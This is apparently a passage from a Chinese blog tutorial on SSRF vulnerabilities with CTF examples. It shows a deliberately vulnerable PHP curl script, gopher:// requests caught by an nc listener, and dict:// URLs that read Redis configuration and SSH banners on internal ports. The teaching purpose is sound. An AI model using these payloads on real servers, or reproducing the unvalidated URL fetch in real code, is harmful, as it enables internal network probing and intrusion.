ctf 监听端口_SSRF 漏洞分析与利用(含 CTF 例题)

本文详细介绍了SSRF(Server-Side Request Forgery)漏洞的产生、利用方式,以及如何通过gopher、dict等协议进行攻击。通过实例展示了如何利用SSRF漏洞攻击Redis、获取内网信息,并给出了防御措施和CTF例题解析。
摘要由CSDN通过智能技术生成

原标题:SSRF 漏洞分析与利用(含 CTF 例题)

16004488

总结了一些常见的姿势,以PHP为例,先上一张脑图,划√的是本文接下来实际操作的。

一、漏洞产生

以curl为例,漏洞代码为ssrf.php

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $_GET['url']);

#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

curl_setopt($ch, CURLOPT_HEADER, 0);

#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);

curl_exec($ch);

curl_close($ch);

?>

二、 利用方式

首先查看curl的版本和该版本支持的协议

[root@localhost html]# curl -V

curl 7.29.0 (x86_64-redhat-linux-gnu) libcurl/7.29.0 NSS/3.21 Basic ECC zlib/1.2.7

libidn/1.28 libssh2/1.4.3

Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtsp

scp sftp smtp smtps telnet tftp

Features: AsynchDNS GSS-Negotiate IDN IPv6 Largefile NTLM NTLM_WB SSL libz unix-

sockets

可以看到该版本的curl支持很多协议,其中gopher协议、dict协议、file协议、http/s协议用的比较多。

ps:上面的漏洞代码ssrf.php没有屏蔽回显,所以利用姿势比较多

gopher:gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议。

先监听本地2333端口,然后利用gopher协议访问

[root@localhost ~]# nc -l -vv 2333

Ncat: Version 6.40 ( http://nmap.org/ncat )

Ncat: Listening on :::2333

Ncat: Listening on 0.0.0.0:2333

Ncat: Connection from 127.0.0.1.

Ncat: Connection from 127.0.0.1:47726

[root@localhost html]# curl -v 'http://127.0.0.1/ssrf.php?

url=gopher://127.0.0.1:2333/_test'

[root@localhost ~]# nc -l -vv 2333

Ncat: Version 6.40 ( http://nmap.org/ncat )

Ncat: Listening on :::2333

Ncat: Listening on 0.0.0.0:2333

Ncat: Connection from 127.0.0.1.

Ncat: Connection from 127.0.0.1:47726.

test

可以看到数据发送了。一开始感觉反弹传输数据没多大用,后来看了gopher和dict攻击redis和脆弱的内网应用的exp才明白

dict:因为ssrf.php的漏洞代码有回显,所以浏览器直接访问

http://4o4notfound.org/ssrf.php?url=dict://127.0.0.1:6379/info

即可看到redis的相关配置。

http://4o4notfound.org/ssrf.php?url=dict://127.0.0.1:ssh端口/info

即可看到ssh的banner信息

如果ssrf.php中加上一行屏蔽回显的代码“curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);”,那么这种方式就失效了,

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值